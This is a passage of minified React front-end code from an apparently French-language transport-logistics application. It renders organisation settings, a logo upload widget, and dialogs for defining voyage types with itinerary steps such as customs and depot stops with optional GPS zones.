gap-6&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;dispatchPhone&quot;,children:&quot;Téléphone Dispatch&quot;}),a.jsx(Xe,{id:&quot;dispatchPhone&quot;,value:i.dispatchPhone,onChange:p=&gt;h(&quot;dispatchPhone&quot;,p.target.value),placeholder:&quot;Ex: +226 70 00 00 00&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Numéro de téléphone du dispatch pour les urgences&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;mechanicPhone&quot;,children:&quot;Téléphone Mécanicien&quot;}),a.jsx(Xe,{id:&quot;mechanicPhone&quot;,value:i.mechanicPhone,onChange:p=&gt;h(&quot;mechanicPhone&quot;,p.target.value),placeholder:&quot;Ex: +226 70 00 00 01&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Numéro de téléphone du mécanicien pour les urgences&quot;})]})]})]}),a.jsx(&quot;div&quot;,{className:&quot;pt-6 border-t&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{children:&quot;Logo de l&#039;organisation&quot;}),a.jsx(yqe,{logoUrl:i.logoUrl||null,onLogoChange:p=&gt;h(&quot;logoUrl&quot;,p||&quot;&quot;)})]})}),a.jsxs(&quot;div&quot;,{className:&quot;flex justify-end gap-3 pt-4 border-t&quot;,children:[a.jsx(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:u,disabled:n.isPending,children:&quot;Annuler&quot;}),a.jsxs(ge,{type:&quot;submit&quot;,disabled:n.isPending,children:[n.isPending&amp;&amp;a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Enregistrer&quot;]})]})]})}function yqe({logoUrl:e,onLogoChange:t}){const[r,n]=I.useState(!1),i=I.useRef(null),s=I.useRef(null),o=async u=&gt;{if(u){if(!u.type.startsWith(&quot;image/&quot;)){alert(&quot;Veuillez sélectionner une image&quot;);return}if(u.size&gt;5*1024*1024){alert(&quot;L&#039;image est trop grande (maximum 5MB)&quot;);return}n(!0);try{const h=await p$e(u);t(h.url)}catch(h){console.error(&quot;Error uploading logo:&quot;,h),alert(h instanceof Error?h.message:&quot;Erreur lors de l&#039;upload du logo&quot;)}finally{n(!1)}}},l=()=&gt;{s.current?.click()},c=()=&gt;{i.current?.click()},d=()=&gt;{t(null),i.current&amp;&amp;(i.current.value=&quot;&quot;),s.current&amp;&amp;(s.current.value=&quot;&quot;)};return a.jsx(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:e?a.jsxs(it,{className:&quot;p-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;relative inline-block&quot;,children:[a.jsx(&quot;img&quot;,{src:Sr(e)||e,alt:&quot;Logo de l&#039;organisation&quot;,className:&quot;h-24 w-auto max-w-full object-contain rounded-lg border&quot;}),a.jsx(ge,{type:&quot;button&quot;,variant:&quot;destructive&quot;,size:&quot;icon&quot;,className:&quot;absolute top-0 right-0&quot;,onClick:d,disabled:r,children:a.jsx(Nn,{className:&quot;h-4 w-4&quot;})})]}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground mt-2&quot;,children:&quot;Cliquez sur la croix pour supprimer le logo&quot;})]}):a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col sm:flex-row gap-2&quot;,children:[a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:l,disabled:r,className:&quot;flex-1&quot;,children:[r?a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}):a.jsx(mo,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Prendre une photo&quot;]}),a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:c,disabled:r,className:&quot;flex-1&quot;,children:[r?a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}):a.jsx(Nm,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Importer depuis la galerie&quot;]})]}),a.jsx(&quot;input&quot;,{ref:s,type:&quot;file&quot;,accept:&quot;image/*&quot;,capture:&quot;environment&quot;,className:&quot;hidden&quot;,onChange:u=&gt;o(u.target.files?.[0]||null)}),a.jsx(&quot;input&quot;,{ref:i,type:&quot;file&quot;,accept:&quot;image/*&quot;,className:&quot;hidden&quot;,onChange:u=&gt;o(u.target.files?.[0]||null)})]})})}function bqe({open:e,onOpenChange:t,step:r,voyageTypeId:n,onSave:i,isCreating:s}){const[o,l]=I.useState({label:&quot;&quot;,category:&quot;usine&quot;,direction:&quot;outbound&quot;,orderIndex:0,latitude:null,longitude:null,radiusMeters:null,requiresControl:!0}),[c,d]=I.useState(!1);I.useEffect(()=&gt;{l(r||{label:&quot;&quot;,category:&quot;usine&quot;,direction:&quot;outbound&quot;,orderIndex:0,latitude:null,longitude:null,radiusMeters:null,requiresControl:!0})},[r,e]);const u=async h=&gt;{if(h.preventDefault(),!!o.label.trim()){d(!0);try{await i({...o,voyageTypeId:n}),t(!1)}catch{}finally{d(!1)}}};return a.jsx(En,{open:e,onOpenChange:t,children:a.jsxs(yn,{className:&quot;max-w-2xl&quot;,children:[a.jsxs(Cn,{children:[a.jsx(In,{children:s?&quot;Créer une étape&quot;:&quot;Modifier l&#039;étape&quot;}),a.jsx(Mn,{children:s?&quot;Ajoutez une nouvelle étape à l&#039;itinéraire standard de ce type de voyage.&quot;:&quot;Modifiez les informations de cette étape.&quot;})]}),a.jsxs(&quot;form&quot;,{onSubmit:u,className:&quot;space-y-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;label&quot;,children:[&quot;Label de l&#039;étape &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;label&quot;,value:o.label,onChange:h=&gt;l(p=&gt;({...p,label:h.target.value})),placeholder:&quot;Ex: Douane Cinkansé&quot;,required:!0})]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;category&quot;,children:&quot;Catégorie&quot;}),a.jsxs(rn,{value:o.category,onValueChange:h=&gt;l(p=&gt;({...p,category:h})),children:[a.jsx(Xr,{children:a.jsx(nn,{})}),a.jsxs(en,{children:[a.jsx(Qt,{value:&quot;usine&quot;,children:&quot;Usine&quot;}),a.jsx(Qt,{value:&quot;douane&quot;,children:&quot;Douane&quot;}),a.jsx(Qt,{value:&quot;dépôt&quot;,children:&quot;Dépôt&quot;}),a.jsx(Qt,{value:&quot;autre&quot;,children:&quot;Autre&quot;})]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;direction&quot;,children:&quot;Sens&quot;}),a.jsxs(rn,{value:o.direction,onValueChange:h=&gt;l(p=&gt;({...p,direction:h})),children:[a.jsx(Xr,{children:a.jsx(nn,{})}),a.jsxs(en,{children:[a.jsx(Qt,{value:&quot;outbound&quot;,children:&quot;Aller&quot;}),a.jsx(Qt,{value:&quot;inbound&quot;,children:&quot;Retour&quot;}),a.jsx(Qt,{value:&quot;both&quot;,children:&quot;Les deux&quot;})]})]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center space-x-2&quot;,children:[a.jsx(&quot;input&quot;,{type:&quot;checkbox&quot;,id:&quot;requiresControl&quot;,checked:o.requiresControl??!0,onChange:h=&gt;l(p=&gt;({...p,requiresControl:h.target.checked})),className:&quot;h-4 w-4 rounded border-gray-300&quot;}),a.jsx(Se,{htmlFor:&quot;requiresControl&quot;,className:&quot;text-sm font-normal cursor-pointer&quot;,children:&quot;Contrôle obligatoire (arrêt requis)&quot;})]}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Décochez si cette étape est un simple passage sans arrêt (suivi GPS uniquement)&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2 pt-2 border-t&quot;,children:[a.jsx(Se,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Zone GPS (optionnel)&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-3 gap-3&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-1&quot;,children:[a.jsx(Se,{className:&quot;text-xs&quot;,children:&quot;Latitude&quot;}),a.jsx(Xe,{type:&quot;number&quot;,step:&quot;any&quot;,placeholder:&quot;Ex: 6.1304&quot;,value:o.latitude?.toString()||&quot;&quot;,onChange:h=&gt;l(p=&gt;({...p,latitude:h.target.value?parseFloat(h.target.value):null}))})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-1&quot;,children:[a.jsx(Se,{className:&quot;text-xs&quot;,children:&quot;Longitude&quot;}),a.jsx(Xe,{type:&quot;number&quot;,step:&quot;any&quot;,placeholder:&quot;Ex: 1.2153&quot;,value:o.longitude?.toString()||&quot;&quot;,onChange:h=&gt;l(p=&gt;({...p,longitude:h.target.value?parseFloat(h.target.value):null}))})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-1&quot;,children:[a.jsx(Se,{className:&quot;text-xs&quot;,children:&quot;Rayon (mètres)&quot;}),a.jsx(Xe,{type:&quot;number&quot;,min:&quot;0&quot;,placeholder:&quot;Ex: 100&quot;,value:o.radiusMeters?.toString()||&quot;&quot;,onChange:h=&gt;l(p=&gt;({...p,radiusMeters:h.target.value?parseInt(h.target.value):null}))})]})]}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Définissez une zone GPS pour cette étape (pour validation automatique future)&quot;})]}),a.jsxs(Na,{children:[a.jsx(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;t(!1),disabled:c,children:&quot;Annuler&quot;}),a.jsxs(ge,{type:&quot;submit&quot;,disabled:c||!o.label.trim(),children:[c&amp;&amp;a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),s?&quot;Créer&quot;:&quot;Enregistrer&quot;]})]})]})]})})}function wqe({open:e,onOpenChange:t,voyageType:r,onVoyageTypeCreated:n}){const{data:i=[]}=OC(!0),s=K$e(),o=Y$e(),{toast:l}=Er(),[c,d]=I.useState(null),[u,h]=I.useState(!1),[p,A]=I.useState(!1),[y,v]=I.useState(r),[w,j]=I.useState({name:&quot;&quot;,code:&quot;&quot;,loadingType:&quot;&quot;,defaultClientName:&quot;&quot;,defaultClient:&quot;&quot;,defaultCargo:&quot;&quot;,isRoundTrip:!0,description:&quot;&quot;,defaultLoadingLocationId:void 0,defaultUnloadingLocationId:void 0,expectedToursDefault:1,standardDurationDays:void 0,isActive:!0,steps:[]});I.useEffect(()=&gt;{v(r)},[r]),I.useEffect(()=&gt;{e&amp;&amp;y?_A(y.id).then($=&gt;{j({name:$.name,code:$.code,loadingType:$.loadingType||&quot;&quot;,defaultClientName:$.defaultClientName||&quot;&quot;,defaultClient:$.defaultClient||$.defaultClientName||&quot;&quot;,defaultCargo:$.defaultCargo||&quot;&quot;,isRoundTrip:$.isRoundTrip??!0,description:$.description||&quot;&quot;,defaultLoadingLocationId:$.defaultLoadingLocationId||void 0,defaultUnloadingLocationId:$.defaultUnloadingLocationId||void 0,expectedToursDefault:$.expectedToursDefault||1,standardDurationDays:$.standardDurationDays||void 0,isActive:$.isActive,steps:($.steps||[]).map(P=&gt;({id:P.id,label:P.label,category:P.category,direction:P.direction,orderIndex:P.orderIndex,latitude:P.latitude,longitude:P.longitude,radiusMeters:P.radiusMeters,requiresControl:P.requiresControl??!0}))})}).catch(()=&gt;{y&amp;&amp;j({name:y.name,code:y.code,loadingType:y.loadingType||&quot;&quot;,defaultClientName:y.defaultClientName||&quot;&quot;,defaultClient:y.defaultClient||y.defaultClientName||&quot;&quot;,defaultCargo:y.defaultCargo||&quot;&quot;,isRoundTrip:y.isRoundTrip??!0,description:y.description||&quot;&quot;,defaultLoadingLocationId:y.defaultLoadingLocationId||void 0,defaultUnloadingLocationId:y.defaultUnloadingLocationId||void 0,expectedToursDefault:y.expectedToursDefault||1,standardDurationDays:y.standardDurationDays||void 0,isActive:y.isActive,steps:[]})}):e&amp;&amp;j({name:&quot;&quot;,code:&quot;&quot;,loadingType:&quot;&quot;,defaultClientName:&quot;&quot;,defaultClient:&quot;&quot;,defaultCargo:&quot;&quot;,isRoundTrip:!0,description:&quot;&quot;,defaultLoadingLocationId:void 0,defaultUnloadingLocationId:void 0,expectedToursDefault:1,standardDurationDays:void 0,isActive:!0,steps:[]})},[y,e]);const E=async $=&gt;{if($.preventDefault(),!(!w.name||!w.code))try{const P={name:w.name,code:w.code,description:w.description,defaultClient:w.defaultClient||w.defaultClientName,defaultClientName:w.defaultClientName||w.defaultClient,defaultCargo:w.defaultCargo,isRoundTrip:w.isRoundTrip??!0,loadingType:w.loadingType||&quot;&quot;,defaultLoadingLocationId:w.defaultLoadingLocationId,defaultUnloadingLocationId:w.defaultUnloadingLocationId,expectedToursDefault:w.expectedToursDefault||1,standardDurationDays:w.standardDurationDays||void 0,isActive:w.isActive};if(y)await o.mutateAsync({id:y.id,data:P});else{const L=await s.mutateAsync(P);if(L&amp;&amp;L.id){const W=await _A(L.id);v(W),j(G=&gt;({...G,steps:(W.steps||[]).map(J=&gt;({id:J.id,label:J.label,category:J.category,direction:J.direction,orderIndex:J.orderIndex,latitude:J.latitude,longitude:J.longitude,radiusMeters:J.radiusMeters}))})),n&amp;&amp;n(W)}}y&amp;&amp;t(!1)}catch{}},S=async()=&gt;{if(!y){if(!w.name||!w.code){l({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Veuillez d&#039;abord créer le type de voyage (nom et code requis)&quot;});return}try{const $={name:w.name,code:w.code,description:w.description,defaultClient:w.defaultClient||w.defaultClientName,defaultClientName:w.defaultClientName||w.defaultClient,defaultCargo:w.defaultCargo,isRoundTrip:w.isRoundTrip??!0,loadingType:w.loadingType||&quot;&quot;,defaultLoadingLocationId:w.defaultLoadingLocationId,defaultUnloadingLocationId:w.defaultUnloadingLocationId,expectedToursDefault:w.expectedToursDefault||1,standardDurationDays:w.standardDurationDays||void 0,isActive:w.isActive},P=await s.mutateAsync($);if(P&amp;&amp;P.id){const X=await _A(P.id);v(X),j(W=&gt;({...W,steps:(X.steps||[]).map(G=&gt;({id:G.id,label:G.label,category:G.category,direction:G.direction,orderIndex:G.orderIndex,latitude:G.latitude,longitude:G.longitude,radiusMeters:G.radiusMeters}))})),n&amp;&amp;n(X)}}catch{return}}d(null),h(!0)},_=$=&gt;{const P={id:$.id,label:$.label,category:$.category,direction:$.direction,orderIndex:$.orderIndex,latitude:$.latitude,longitude:$.longitude,radiusMeters:$.radiusMeters,requiresControl:$.requiresControl??!0};d(P),h(!0)},C=async $=&gt;{if(!y){l({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Le type de voyage doit être créé avant d&#039;ajouter des étapes&quot;});return}A(!0);try{const P=w.steps||[];let L;const X=c&amp;&amp;c.id!==void 0&amp;&amp;c.id!==null;if(console.log(&quot;handleSaveStep - editingStep:&quot;,c,&quot;isEditing:&quot;,X,&quot;currentSteps:&quot;,P),X&amp;&amp;c.id!==void 0){const J=c.id;L=P.map(q=&gt;q.id===J?{...$,id:J,orderIndex:q.orderIndex}:q),console.log(&quot;Updated steps after edit:&quot;,L)}else L=[...P,{...$,orderIndex:P.length}],console.log(&quot;Updated steps after create:&quot;,L);await y6(y.id,{steps:L.map((J,q)=&gt;({id:J.id,label:J.label,category:J.category,direction:J.direction,orderIndex:q,latitude:J.latitude,longitude:J.longitude,radiusMeters:J.radiusMeters,requiresControl:J.requiresControl??!0}))});const G=((await _A(y.id)).steps||[]).map(J=&gt;({id:J.id,label:J.label,category:J.category,direction:J.direction,orderIndex:J.orderIndex,latitude:J.latitude,longitude:J.longitude,radiusMeters:J.radiusMeters})).sort((J,q)=&gt;J.orderIndex-q.orderIndex);j(J=&gt;({...J,steps:G})),jt.invalidateQueries({queryKey:[&quot;/api/voyage-types&quot;]}),l({title:&quot;Succès&quot;,description:c&amp;&amp;c.id!==void 0&amp;&amp;c.id!==null?&quot;L&#039;étape a été modifiée avec succès&quot;:&quot;L&#039;étape a été créée avec succès&quot;}),h(!1),d(null)}catch(P){throw l({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:P instanceof Error?P.message:&quot;Impossible de sauvegarder l&#039;étape&quot;}),P}finally{A(!1)}},Q=async($,P)=&gt;{if(!y||!w.steps)return;const L=[...w.steps],X=P===&quot;up&quot;?$-1:$+1;if(X&lt;0||X&gt;=L.length)return;if([L[$],L[X]]=[L[X],L[$]],j(G=&gt;({...G,steps:L.map((J,q)=&gt;({...J,orderIndex:q}))})),L.every(G=&gt;G.id!==void 0&amp;&amp;G.id!==null)&amp;&amp;y.id)try{const G=L.map(ee=&gt;ee.id),J=await W$e(y.id,G),q=await _A(y.id);v(q),j(ee=&gt;({...ee,steps:(q.steps||[]).map(ne=&gt;({id:ne.id,label:ne.label,category:ne.category,direction:ne.direction,orderIndex:ne.orderIndex,latitude:ne.latitude,longitude:ne.longitude,radiusMeters:ne.radiusMeters,requiresControl:ne.requiresControl??!0}))})),jt.invalidateQueries({queryKey:[&quot;/api/voyage-types&quot;]}),l({title:&quot;Succès&quot;,description:&quot;L&#039;ordre des étapes a été mis à jour&quot;})}catch(G){l({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:G instanceof Error?G.message:&quot;Impossible de réordonner les étapes&quot;}),j(J=&gt;({...J,steps:w.steps}))}},R=async $=&gt;{if(y&amp;&amp;confirm(&quot;Êtes-vous sûr de vouloir supprimer cette étape ?&quot;))try{const P=(w.steps||[]).filter(W=&gt;W.id!==$);await y6(y.id,{steps:P.map((W,G)=&gt;({id:W.id,label:W.label,category:W.category,direction:W.direction,orderIndex:G,latitude:W.latitude,longitude:W.longitude,radiusMeters:W.radiusMeters,requiresControl:W.requiresControl??!0}))});const X=((await _A(y.id)).steps||[]).map(W=&gt;({id:W.id,label:W.label,category:W.category,direction:W.direction,orderIndex:W.orderIndex,latitude:W.latitude,longitude:W.longitude,radiusMeters:W.radiusMeters})).sort((W,G)=&gt;W.orderIndex-G.orderIndex);j(W=&gt;({...W,steps:X})),jt.invalidateQueries({queryKey:[&quot;/api/voyage-types&quot;]}),l({title:&quot;Succès&quot;,description:&quot;L&#039;étape a été supprimée avec succès&quot;})}catch(P){l({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:P instanceof Error?P.message:&quot;Impossible de supprimer l&#039;étape&quot;})}},T=s.isPending||o.isPending,M={usine:&quot;Usine&quot;,douane:&quot;Douane&quot;,dépôt:&quot;Dépôt&quot;,autre:&quot;Autre&quot;},O={outbound:&quot;Aller&quot;,inbound:&quot;Retour&quot;,both:&quot;Les deux&quot;};return a.jsx(En,{open:e,onOpenChange:t,children:a.jsxs(yn,{className:&quot;max-w-4xl max-h-[90vh] overflow-y-auto&quot;,children:[a.jsxs(Cn,{children:[a.jsx(In,{children:r?&quot;Modifier le type de voyage&quot;:&quot;Créer un type de voyage&quot;}),a.jsx(Mn,{children:r?&quot;Modifiez les informations du type de voyage et son itinéraire standard.&quot;:&quot;Créez un nouveau type de voyage qui pourra être sélectionné lors de la création d&#039;un voyage. Les trajets et étapes seront générés automatiquement.&quot;})]}),a.jsxs(&quot;form&quot;,{onSubmit:E,className:&quot;space-y-4&quot;,children:[a.jsxs(ul,{defaultValue:&quot;info&quot;,className:&quot;w-full&quot;,children:[a.jsxs(Ro,{className:&quot;grid w-full grid-cols-2&quot;,children:[a.jsx(hn,{value:&quot;info&quot;,children:&quot;Informations&quot;}),a.jsx(hn,{value:&quot;itinerary&quot;,children:&quot;Itinéraire standard&quot;})]}),a.jsxs(dn,{value:&quot;info&quot;,className:&quot;space-y-4 mt-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;name&quot;,children:[&quot;Nom &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;name&quot;,value:w.name,onChange:$=&gt;j(P=&gt;({...P,name:$.target.value})),placeholder:&quot;Ex: CIMFASO — Clinker Lomé&quot;,required:!0})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;code&quot;,children:[&quot;Code &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;code&quot;,value:w.code,onChange:$=&gt;j(P=&gt;({...P,code:$.target.value.toUpperCase().replace(/\s+/g,&quot;_&quot;)})),placeholder:&quot;Ex: CIMFASO_CLINKER_LOME&quot;,required:!0}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Code unique (sera converti en majuscules)&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;description&quot;,children:&quot;Description&quot;}),a.jsx(K0,{id:&quot;description&quot;,value:w.description||&quot;&quot;,onChange:$=&gt;j(P=&gt;({...P,description:$.target.value})),placeholder:&quot;Description du type de voyage...&quot;,rows:3})]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;defaultClient&quot;,children:&quot;Client par défaut&quot;}),a.jsx(Xe,{id:&quot;defaultClient&quot;,value:w.defaultClient||&quot;&quot;,onChange:$=&gt;j(P=&gt;({...P,defaultClient:$.target.value,defaultClientName:$.target.value||P.defaultClientName})),placeholder:&quot;Ex: CIMFASO&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;defaultCargo&quot;,children:&quot;Chargement par défaut&quot;}),a.jsx(Xe,{id:&quot;defaultCargo&quot;,value:w.defaultCargo||&quot;&quot;,onChange:$=&gt;j(P=&gt;({...P,defaultCargo:$.target.value})),placeholder:&quot;Ex: Clinker&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;loadingType&quot;,children:&quot;Type de chargement&quot;}),a.jsx(Xe,{id:&quot;loadingType&quot;,value:w.loadingType||&quot;&quot;,onChange:$=&gt;j(P=&gt;({...P,loadingType:$.target.value})),placeholder:&quot;Ex: Clinker&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;expectedToursDefault&quot;,children:&quot;Nombre de tours par défaut&quot;}),a.jsx(Xe,{id:&quot;expectedToursDefault&quot;,type:&quot;number&quot;,min:&quot;1&quot;,value:w.expectedToursDefault||1,onChange:$=&gt;j(P=&gt;({...P,expectedToursDefault:parseInt($.target.value)||1}))}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;1 tour = un aller + un retour&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;standardDurationDays&quot;,children:&quot;Durée standard du voyage (en jours)&quot;}),a.jsx(Xe,{id:&quot;standardDurationDays&quot;,type:&quot;number&quot;,min:&quot;1&quot;,value:w.standardDurationDays||&quot;&quot;,onChange:$=&gt;j(P=&gt;({...P,standardDurationDays:$.target.value?parseInt($.target.value):void 0})),placeholder:&quot;Ex: 3&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Durée standard utilisée pour calculer la date de retour prévue à partir de la date de départ&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;defaultLoadingLocationId&quot;,children:&quot;Lieu de chargement par défaut&quot;}),a.jsxs(rn,{value:w.defaultLoadingLocationId?.toString()||&quot;none&quot;,onValueChange:$=&gt;j(P=&gt;({...P,defaultLoadingLocationId:$&amp;&amp;$!==&quot;none&quot;?parseInt($):void 0})),children:[a.jsx(Xr,{children:a.jsx(nn,{placeholder:&quot;Sélectionner un lieu&quot;})}),a.jsxs(en,{children:[a.jsx(Qt,{value:&quot;none&quot;,children:&quot;Aucun&quot;}),i.map($=&gt;a.jsx(Qt,{value:$.id.toString(),children:$.name},$.id))]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;defaultUnloadingLocationId&quot;,children:&quot;Lieu de déchargement par défaut&quot;}),a.jsxs(rn,{value:w.defaultUnloadingLocationId?.toString()||&quot;none&quot;,onValueChange:$=&gt;j(P=&gt;({...P,defaultUnloadingLocationId:$&amp;&amp;$!==&quot;none&quot;?parseInt($):void 0})),children:[a.jsx(Xr,{children:a.jsx(nn,{placeholder:&quot;Sélectionner un lieu&quot;})}),a.jsxs(en,{children:[a.jsx(Qt,{value:&quot;none&quot;,children:&quot;Aucun&quot;}),i.map($=&gt;a.jsx(Qt,{value:$.id.toString(),children:$.name},$.id))]})]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center space-x-2&quot;,children:[a.jsx(S1,{id:&quot;isRoundTrip&quot;,checked:w.isRoundTrip??!0,onCheckedChange:$=&gt;j(P=&gt;({...P,isRoundTrip:$}))}),a.jsx(Se,{htmlFor:&quot;isRoundTrip&quot;,className:&quot;cursor-pointer&quot;,children:&quot;Aller-retour (A/R)&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center space-x-2&quot;,children:[a.jsx(S1,{id:&quot;isActive&quot;,checked:w.isActive,onCheckedChange:$=&gt;j(P=&gt;({...P,isActive:$}))}),a.jsx(Se,{htmlFor:&quot;isActive&quot;,className:&quot;cursor-pointer&quot;,children:&quot;Type de voyage actif (visible dans la liste)&quot;})]})]}),a.jsxs(dn,{value:&quot;itinerary&quot;,className:&quot;space-y-4 mt-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex justify-between items-center&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Définissez l&#039;itinéraire standard avec les étapes (usine, douane, dépôt, etc.)&quot;}),y&amp;&amp;a.jsxs(ge,{type:&quot;button&quot;,onClick:S,variant:&quot;outline&quot;,size:&quot;sm&quot;,children:[a.jsx(Ti,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Ajouter une étape&quot;]})]}),y?w.steps&amp;&amp;w.steps.length===0?a.jsx(it,{className:&quot;p-8 border-dashed&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;text-center&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground mb-4&quot;,children:&quot;Aucune étape définie&quot;}),a.jsxs(ge,{type:&quot;button&quot;,onClick:S,variant:&quot;outline&quot;,children:[a.jsx(Ti,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Ajouter la première étape&quot;]})]})}):a.jsx(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:w.steps?.map(($,P)=&gt;a.jsx(it,{className:&quot;p-4&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between gap-4&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;flex-1&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-3&quot;,children:[a.jsxs(yt,{variant:&quot;outline&quot;,className:&quot;text-xs&quot;,children:[&quot;Étape &quot;,P+1]}),a.jsxs(&quot;div&quot;,{className:&quot;flex-1&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-medium&quot;,children:$.label||&quot;Étape sans nom&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 mt-1&quot;,children:[a.jsx(yt,{variant:&quot;secondary&quot;,className:&quot;text-xs&quot;,children:M[$.category]}),a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;text-xs&quot;,children:O[$.direction]}),$.latitude&amp;&amp;$.longitude&amp;&amp;a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;text-xs&quot;,children:&quot;GPS&quot;}),$.requiresControl===!1&amp;&amp;a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Passage sans contrôle&quot;})]})]})]})}),a.jsxs(&quot;div&quot;,{className:&quot;flex gap-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col gap-1&quot;,children:[a.jsx(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,size:&quot;sm&quot;,className:&quot;h-8 px-2&quot;,onClick:()=&gt;Q(P,&quot;up&quot;),disabled:p||P===0,title:&quot;Déplacer vers le haut&quot;,children:a.jsx(lse,{className:&quot;h-3 